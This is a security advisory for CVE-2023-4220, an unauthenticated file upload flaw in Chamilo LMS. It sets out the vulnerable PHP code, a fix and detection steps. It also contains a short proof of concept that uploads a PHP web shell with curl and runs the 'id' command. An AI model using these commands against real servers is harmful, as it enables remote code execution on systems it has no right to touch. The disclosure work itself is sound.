Product | Chamilo |
---|---|
Vendor | Chamilo |
Severity | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
Affected Versions | <= v1.11.24 |
Tested Versions | v1.11.24 (latest version as of writing) |
CVE Identifier | CVE-2023-4220 |
CVE Description | Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. |
CWE Classification(s) | CWE-434: Unrestricted Upload of File with Dangerous Type |
CAPEC Classification(s) | CAPEC-650: Upload a Web Shell to a Web Server |
Base Score: 8.1 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | High |
Privileges Required (PR) | None |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
The big file upload functionality by /main/inc/lib/javascript/bigupload/inc/bigUpload.php
allows arbitrary files to be uploaded to /main/inc/lib/javascript/bigupload/files
directory within the web root. Note that although this directory does not exist by default, it may be created using another arbitrary directory creation vulnerability (e.g. CVE-2023-3368) for the exploit to be successful.
An unauthenticated attacker may exploit this vulnerability to perform stored cross-site scripting attacks, as well as obtain remote code execution.
The vulnerable portion of /main/inc/lib/javascript/bigupload/inc/bigUpload.php
is shown below:
class BigUploadResponse
{
...
public function postUnsupported()
{
$name = $_FILES['bigUploadFile']['name']; // [1]
$size = $_FILES['bigUploadFile']['size'];
$tempName = $_FILES['bigUploadFile']['tmp_name'];
if (filesize($tempName) > $this->maxSize) {
return get_lang('UplFileTooBig');
}
if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) { // [2]
return get_lang('FileUploadSucces');
} else {
return get_lang('UplUnableToSaveFile');
}
}
...
}
Observe that at [1], the user-supplied filename is saved into $name
and used at [2]
by move_uploaded_file()
. This uploads the file into main directory at /main/inc/lib/javascript/bigupload/files
without any prior sanitisation performed on the filename.
class BigUploadResponse
{
...
const MAIN_DIRECTORY = '../files/';
...
public function getMainDirectory()
{
return $this->mainDirectory;
}
...
}
Consequently, an unauthenticated attacker can simply upload a PHP web shell to obtain unauthenticated remote code execution.
An unauthenticated attacker is expected to be able to execute this exploit scenario reliably if the /main/inc/lib/javascript/bigupload/files
directory exists within the web root directory and is writable by the webserver.
/<path-to-webroot>/main/inc/lib/javascript/bigupload/files/
directory exists on the target system:
$ mkdir -p /<path-to-webroot>/main/inc/lib/javascript/bigupload/files/
$ echo '<?php system("id"); ?>' > rce.php
$ curl -F '[email protected]' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
shell command is successfully executed, confirming the unrestricted file upload vulnerability.Ensure that the user-supplied filename is sanitised accordingly to prevent files with dangerous file extensions from being uploaded.
For example:
public function postUnsupported()
{
- $name = $_FILES['bigUploadFile']['name'];
+ $name = disable_dangerous_file(
+ api_replace_dangerous_char($_FILES['bigUploadFile']['name'])
+ );
$size = $_FILES['bigUploadFile']['size'];
$tempName = $_FILES['bigUploadFile']['tmp_name'];
if (filesize($tempName) > $this->maxSize) {
return get_lang('UplFileTooBig');
}
if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) {
return get_lang('FileUploadSucces');
} else {
return get_lang('UplUnableToSaveFile');
}
}
However, note that disable_dangerous_file()
only prevents PHP
and .htaccess
files, and do not prevent uploading of HTML
files. As such, it is still possible to achieve unauthenticated stored cross-site scripting (XSS) by uploading a HTML
file.
It is therefore recommended to enhance the implementation of disable_dangerous_file()
in main/inc/lib/fileUpload.lib.php to also prevent uploading of HTML
files.
Lastly, it is advised to add the following rules to the default .htaccess
file:
# Disallow direct access to /main/inc/lib/javascript/bigupload/files
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
# Disallow MIME sniffing to prevent XSS from unknown/incorrect file extensions
Header always set X-Content-Type-Options nosniff
End users are encouraged to update to the latest version of Chamilo.
It is possible to detect the exploitation of this vulnerability by:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
with action
query parameter set to post-unsupported
;/main/inc/lib/javascript/bigupload/files/*
;/<path-to-webroot>/main/inc/lib/javascript/bigupload/files
directory for presence of PHP
or .htaccess
files.Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)